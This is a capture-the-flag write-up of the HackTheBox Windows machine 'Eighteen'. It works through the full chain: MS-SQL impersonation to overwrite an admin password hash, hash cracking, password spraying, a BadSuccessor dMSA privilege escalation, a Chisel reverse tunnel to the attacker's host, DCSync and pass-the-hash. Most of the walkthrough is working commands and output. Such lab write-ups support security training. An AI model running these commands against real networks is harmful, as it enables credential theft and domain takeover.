< BACK TO HUB
EASY DIFFICULTY

EIGHTEEN

TARGET OS: WINDOWS | AUTHOR: LEANDROS

Eighteen is a phenomenal Windows machine on HackTheBox that serves as a masterclass in modern Active Directory exploitation. The intrusion begins by authenticating to an MS-SQL instance with known credentials, utilizing SQL login impersonation to rewrite web application hashes, and cracking a recovered PBKDF2 hash. After using Netexec to spray the password and securing a WinRM foothold, I exploited a cutting-edge Windows Server 2025 vulnerability. By abusing Delegated Managed Service Accounts (dMSA) using the BadSuccessor technique, I generated a privileged Kerberos ticket, set up a Chisel proxy, and executed a DCSync attack for the Domain Administrator's hash. Here is my complete mission log.

PHASE 1: RECONNAISSANCE

I initiated the engagement with an Nmap TCP port scan to map out the target's external attack surface.

TERMINAL - NMAP TCP SCAN
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p80,1433,5985 <IP>
OUTPUT
PORT     STATE SERVICE  VERSION
80/tcp   open  http     Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://eighteen.htb/
1433/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-ntlm-info: 
|     Target_Name: EIGHTEEN
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: eighteen.htb
5985/tcp open  http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

The Nmap scan revealed an IIS Web Server on port 80 (redirecting to eighteen.htb), an MS-SQL Server on port 1433, and WinRM on 5985. I added the domain to my /etc/hosts file.

For this box, we are provided a set of initial credentials: kevin : iNa2we6haRj2gaw!. I immediately tested these against the MS-SQL service using Impacket.

TERMINAL - MSSQLCLIENT
impacket-mssqlclient 'eighteen.htb/kevin:iNa2we6haRj2gaw!@<IP>'

The credentials worked, granting me access to the SQL interface! However, I quickly discovered I lacked the privileges to enable xp_cmdshell for direct Remote Code Execution. I needed to enumerate the database further.

PHASE 2: SQL IMPERSONATION & HASH MANIPULATION

Inside the MS-SQL prompt, I queried the system for other SQL logins to see if my user had impersonation rights over anyone else.

SQL - ENUMERATING LOGINS
SELECT name, type_desc, is_disabled FROM sys.server_principals WHERE type IN ('S', 'U', 'G') AND name NOT LIKE '##%';
OUTPUT
name type_desc is_disabled 
------ --------- ----------- 
sa     SQL_LOGIN        0 
kevin  SQL_LOGIN        0 
appdev SQL_LOGIN        0

[!] VULNERABILITY DETECTED: SQL LOGIN IMPERSONATION

Microsoft SQL Server allows users to explicitly assume the permissions of another user using the EXECUTE AS LOGIN command, provided they have been granted the `IMPERSONATE` permission. If kevin can impersonate appdev, we might gain write access to the web application's underlying database.

I executed the impersonation command to switch my context to appdev.

SQL - IMPERSONATING APPDEV
EXEC AS LOGIN = 'appdev';

It worked! The prompt changed to SQL (appdev appdev@financial_planner)>. I now had write access to the users table of the web application.

Instead of just extracting the admin's hash, I decided to perform an Account Takeover. The application stores passwords using the PBKDF2-SHA256 algorithm. I wrote a quick Python script on my attacker machine to generate a valid PBKDF2 hash for a password of my choosing (Password123).

PAYLOAD - GENERATEHASH.PY
import hashlib, binascii

password = "Password123"
salt = "newsalt123"
iterations = 600000

derived_key = hashlib.pbkdf2_hmac('sha256', password.encode(), salt.encode(), iterations)
derived_hex = binascii.hexlify(derived_key).decode()

print(f"pbkdf2:sha256:{iterations}${salt}${derived_hex}")

I took the resulting hash and executed a SQL UPDATE statement to overwrite the admin's password hash in the database.

SQL - OVERWRITING ADMIN HASH
UPDATE users SET password_hash = 'pbkdf2:sha256:600000$newsalt123$0e83734cb10c767d33deb3cf359aae3a0b28aad20cd4d04cacddbf87311cceeb' WHERE id = 1002;

With the hash overwritten, I navigated to the eighteen.htb web portal and successfully logged in as admin using Password123!

PHASE 3: CRACKING, SPRAYING & FOOTHOLD

While poking around the admin panel and the original database dump, I retrieved the original, legitimate PBKDF2 hash for the admin user:
pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133.

I passed this hash into a custom Python cracker (or John the Ripper/Hashcat) alongside the rockyou.txt wordlist. The hash cracked, revealing the true password: iloveyou1.

With a valid system password recovered, I needed a target. I used Netexec's MS-SQL module with the --rid-brute flag to abuse my SQL access and dump a list of all valid Active Directory users via their Relative Identifiers (RIDs).

TERMINAL - RID BRUTEFORCING
netexec mssql <IP> -u 'kevin' -p 'iNa2we6haRj2gaw!' --rid-brute --local-auth

The output flooded my screen with usernames: jamie.dunn, jane.smith, adam.scott, etc. I saved these into a users.txt file and used Netexec again to "spray" the cracked iloveyou1 password across WinRM.

TERMINAL - PASSWORD SPRAYING (WINRM)
netexec winrm <IP> -u users.txt -p 'iloveyou1'
OUTPUT
WINRM       10.10.11.95     5985   DC01             [-] eighteen.htb\jane.smith:iloveyou1
WINRM       10.10.11.95     5985   DC01             [-] eighteen.htb\alice.jones:iloveyou1
WINRM       10.10.11.95     5985   DC01             [+] eighteen.htb\adam.scott:iloveyou1 (Pwn3d!)

We had a match! I used evil-winrm to connect directly to the machine as adam.scott, securing my foothold and retrieving the user.txt flag.

PHASE 4: PRIVILEGE ESCALATION (BADSUCCESSOR)

Checking my groups using whoami /groups, I noticed Adam was a member of the EIGHTEEN\IT group. I uploaded a PowerShell script (GetOUsIT.ps1) designed to map out Organizational Unit permissions for this specific group.

TERMINAL - OU ENUMERATION
Identity    OUs
--------    ---
EIGHTEEN\IT {OU=Staff,DC=eighteen,DC=htb}

[!] EXPLOIT STRATEGY: DMSA & BADSUCCESSOR

Windows Server 2025 introduced Delegated Managed Service Accounts (dMSA). If a group (like IT) has CreateChild rights on an OU (like Staff), an attacker can create a malicious dMSA.

Using the BadSuccessor exploit, we can configure this new dMSA to forcibly inherit all the privileges of the Domain Administrator by manipulating the msDS-ManagedAccountPrecededByLink attribute. We then configure the Domain Controller (DC01$) as the principal allowed to retrieve the dMSA's password. This allows us to request Kerberos tickets on behalf of the Domain Admin!

I downloaded the BadSuccessor.ps1 tool to the victim machine and executed the attack payload, targeting the Administrator account.

PAYLOAD - BADSUCCESSOR EXPLOIT
. .\BadSuccessor.ps1
BadSuccessor -Mode Exploit -Path "OU=Staff,DC=eighteen,DC=htb" -Name "diseo" -DelegatedAdmin "adam.scott" -DelegateTarget "Administrator" -Domain "eighteen.htb"
OUTPUT
[*] Creating dMSA object...
[*] Inheriting target user privileges
    -> msDS-ManagedAccountPrecededByLink = CN=Administrator,CN=Users,DC=eighteen,DC=htb
    -> msDS-DelegatedMSAState = 2
[+] Privileges Obtained.
[*] Setting PrincipalsAllowedToRetrieveManagedPassword
    -> msDS-GroupMSAMembership = DC01$

Successfully created and configured dMSA 'diseo'
Object adam.scott can now impersonate Administrator

The dMSA was successfully created and linked! To utilize it, I needed to request a Kerberos Ticket Granting Service (TGS) ticket. Because interacting with Kerberos from outside the network can cause severe routing issues, I set up a Chisel SOCKS5 Proxy to tunnel my attacking tools directly into the internal network.

TERMINAL - CHISEL PROXY SETUP
# Attacker Machine:
./chisel server -p 7777 --reverse

# Victim Machine:
.\chisel.exe client <IP_ATTACKER>:7777 R:socks R:123:127.0.0.1:123/udp

With my proxychains4.conf file configured to use port 1080, I used Impacket's getST.py to request a privileged Kerberos ticket on behalf of the newly created diseo$ dMSA account.

TERMINAL - KERBEROS TICKET REQUEST
proxychains -q /root/.local/bin/getST.py eighteen.htb/adam.scott:iloveyou1 -impersonate 'diseo$' -dc-ip <IP_VICTIM> -self -dmsa
OUTPUT
[*] Getting TGT for user
[*] Impersonating diseo$
[*] Requesting S4U2self
[*] Saving ticket in diseo$@krbtgt_EIGHTEEN.HTB@EIGHTEEN.HTB.ccache

PHASE 5: DCSYNC & DOMAIN COMPROMISE

I exported the resulting .ccache ticket into my environment variables (export KRB5CCNAME=...). Because this ticket inherited Domain Admin privileges via the BadSuccessor exploit, I possessed the DS-Replication-Get-Changes privilege. This meant I could ask the Domain Controller to synchronize its passwords with me.

I fired up Impacket's secretsdump.py through proxychains to execute the DCSync attack.

TERMINAL - DCSYNC (IMPACKET)
proxychains -q impacket-secretsdump -k -no-pass DC01.eighteen.htb -just-dc-user Administrator
OUTPUT
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0b133be956bfaddf9cea56701affddec:::

I successfully retrieved the Domain Administrator's NTLM hash: 0b133be956bfaddf9cea56701affddec. Using evil-winrm, I performed a Pass-The-Hash (PTH) attack to log in directly.

TERMINAL - PASS THE HASH
evil-winrm -i <IP> -u Administrator -H '0b133be956bfaddf9cea56701affddec'

The connection succeeded. I secured an interactive administrative shell, captured the root.txt flag, and achieved total domain compromise.